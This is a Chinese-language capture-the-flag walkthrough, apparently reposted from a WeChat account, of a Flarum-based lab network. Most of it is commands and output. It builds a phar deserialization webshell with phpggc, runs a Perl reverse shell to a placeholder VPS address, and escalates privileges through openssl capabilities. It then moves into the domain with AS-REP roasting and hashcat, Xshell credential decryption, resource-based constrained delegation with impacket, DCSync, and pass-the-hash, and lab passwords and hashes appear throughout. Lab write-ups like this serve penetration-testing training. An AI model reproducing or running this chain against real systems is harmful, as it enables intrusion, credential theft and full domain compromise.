靶标出了很久了,一直被其他事情所耽搁,这两天才有时间来玩(悲。
flag01
框架是 Flarum,这个框架也是在去年看过 P 牛的审计文章才知晓,后台有一个 RCE,首页提示用户名是 administrator
爆破管理员密码,得到账号 administrator/1chris
然后就是移步到 P 牛的审计文章看 RCE:https://tttang.com/archive/1714/,再看一遍仍觉得巧妙至极。
生成写入 webshell 的序列化数据
php phpggc -p tar -b Monolog/RCE6 system "echo PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4=|base64 -d >/var/www/html/public/assets/dotast.php"
在 CSS 编辑器修改
@import (inline) 'data:text/css;base64,生成的payload';
保存后访问首页,接着再次编辑
.test {
content: data-uri("phar://./assets/forum.css");
}
保存触发 phar 反序列化写入 webshell
接下来是提权,SUID 提权
pkexec 没成功,接着尝试 capabilities 提权,这篇文章写得比较详细
https://www.cnblogs.com/f-carey/p/16026088.html#linux%E6%8F%90%E6%9D%83%E4%B9%8B%E5%88%A9%E7%94%A8capabilities%E6%8F%90%E6%9D%83
查找设置了 capabilities 的可执行文件
getcap -r / 2>/dev/null
openssl 可以利用,接下来就是生成证书(这里注意在蚁剑中不能直接执行该命令)
我们可以新建一个 1.txt 文件,写入 perl 来反弹 shell
perl -e 'use Socket;$i="vpsip";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然后 ./1.txt 执行反弹 shell,并生成证书
openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes
跳转到根目录,启动 web 服务器
openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8888 -HTTP
然后请求 flag 文件
curl --http0.9 -k "https://127.0.0.1:8888/root/flag/flag01.txt"
flag02
上传 fscan 跑 C 段
172.22.60.8:88 open
172.22.60.15:445 open
172.22.60.42:445 open
172.22.60.8:445 open
172.22.60.42:139 open
172.22.60.15:139 open
172.22.60.8:139 open
172.22.60.42:135 open
172.22.60.15:135 open
172.22.60.8:135 open
172.22.60.52:80 open
172.22.60.52:8888 open
172.22.60.52:22 open
[*] NetBios: 172.22.60.42 XIAORANGFILESERVER
[*] NetBios: 172.22.60.15 XIAORANGPC1
[*] NetBios: 172.22.60.8 [+]DC XIAORANGDC
[*] NetInfo:
[*]172.22.60.8
[->]DC
[->]172.22.60.8
[->]169.254.250.203
[*] NetInfo:
[*]172.22.60.42
[->]Fileserver
[->]172.22.60.42
[->]169.254.164.125
[*] NetInfo:
[*]172.22.60.15
[->]PC1
[->]172.22.60.15
[->]169.254.14.130
[*] WebTitle: http://172.22.60.52 code:200 len:5867 title:霄壤社区
[*] WebTitle: https://172.22.60.52:8888 code:200 len:260 title:None
看样子没有什么明显的能打点的机器入口,回到刚刚打下的后台,里面的邮箱用户做一个域用户字典
收集的字典跑一下,探测存在的域用户
./kerbrute userenum --dc 172.22.60.8 -d xiaorang.lab user.txt
获取到的域用户继续做出字典,通过 impact 项目的 GetUserSPNs.py 脚本寻找没有做 Kerberos 预身份认证的用户
proxychains python3 GetNPUsers.py -dc-ip 172.22.60.8 -usersfile user.txt xiaorang.lab/
[email protected] 和 [email protected] 两个用户没有做 Kerberos 预身份认证,拿到 TGT 票据和对应的 session-key,尝试 hashcat 解密
hashcat -m 18200 --force -a 0 '[email protected]@XIAORANG.LAB:e17b681d244c8c045e349ab1058bd96a$a6557b4cfdee6ad869b46451c835dfc8f05baaf697d702c39a7072c97666f7c3964869e91aa963445d927628e7620d6eb63ce4fc22658050f9b87c6b5ceaac708325f7bf8efe0850ae948cd2c608280a84abfda69f2e56b8038ab39bd90336750ba9d5f81c1e26c7c96e8817df74f4ee77d340eb9a11d6ca00f26483aae04358f727dadcf5545b3d5bdad9a2ad035bcf1b5757d7df41a10b62aa4ed6b47c8c46f26fbe771036a1a3e44960eb420920606aea52e9c109933e79b4551b41d84c2535fb445bfae1c80252168c9bced56f152c372204f614100a84a8e190a7f46347585170a916805ef5667a66f3' rockyou.txt
得到域账号密码
[email protected]/Adm12geC
该账号可以通过 rdp 连接到 172.22.60.15(PC1)这台机子
该机器上有一个 Xshell 应用,并且存储了另一个域用户的账号密码,通过 SharpXDecrypt 工具恢复 Xshell 存储的用户数据
得到账户密码
zhangxin/admin4qwY38cc
上传 SharpHound 收集数据,做域环境分析
可以看到 zhangxin 在 ACCOUNT OPERATORS 用户组中,具有 GenericAll 权限,意味着可以修改该机器的任何属性,接下来可以通过 RBCD(基于资源的约束委派)进行提权。
使用 SharpAllowedToAct 一步到位完成添加机器用户 HACK01/Qwer1234 和配置资源的约束委派
SharpAllowedToAct.exe -m HACK01 -p Qwer1234 -t PC1 -a DC.xiaorang.lab -d xiaorang.lab
使用 impacket 的 getST.py 生成票据
proxychains impacket-getST xiaorang.lab/HACK01$:Qwer1234 -dc-ip 172.22.60.8 -spn cifs/PC1.xiaorang.lab -impersonate Administrator
然后使用生成的 Administrator.ccache 票据获取系统管理员权限
export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec PC1.xiaorang.lab -no-pass -k -dc-ip 172.22.60.8
获取第二个 flag
flag03
和前面步骤一样,继续通过资源约束委派打 FILESERVER 这台机器
SharpAllowedToAct.exe -m HACK02 -p Qwer1234 -t FILESERVER -a DC.xiaorang.lab -d xiaorang.lab
使用 impacket 的 getST.py 生成票据
proxychains impacket-getST xiaorang.lab/HACK02$:Qwer1234 -dc-ip 172.22.60.8 -spn cifs/FILESERVER.xiaorang.lab -impersonate Administrator
然后使用生成的 Administrator.ccache 票据获取系统管理员权限
export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec FILESERVER.xiaorang.lab -no-pass -k -dc-ip 172.22.60.8
flag04
根据提示,Fileserver 主机上有黑客留下的域控后门,在 BloodHound 中看到 FILESERVER 机器拥有 DCSync 权限
给 Fileserver 添加一个管理员用户 rdp 连接过去
创建新用户dotast
net user dotast qwer1234! /add
将用户dotast添加至管理员组
net localgroup administrators dotast /add
上传 mimikatz 抓取机器用户哈希
导出域管哈希
proxychains impacket-secretsdump xiaorang/FILESERVER$@172.22.60.8 -hashes :951d8a9265dfb652f42e5c8c497d70dc -just-dc
然后 PTH 哈希传递获取 flag
proxychains crackmapexec smb 172.22.60.8 -u administrator -Hc3cfdc08527ec4ab6aa3e630e79d349b -d xiaorang.lab -x "type UsersAdministratorflagflag04.txt"
原文始发于微信公众号(虹猫少侠):春秋云镜-Flarum
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论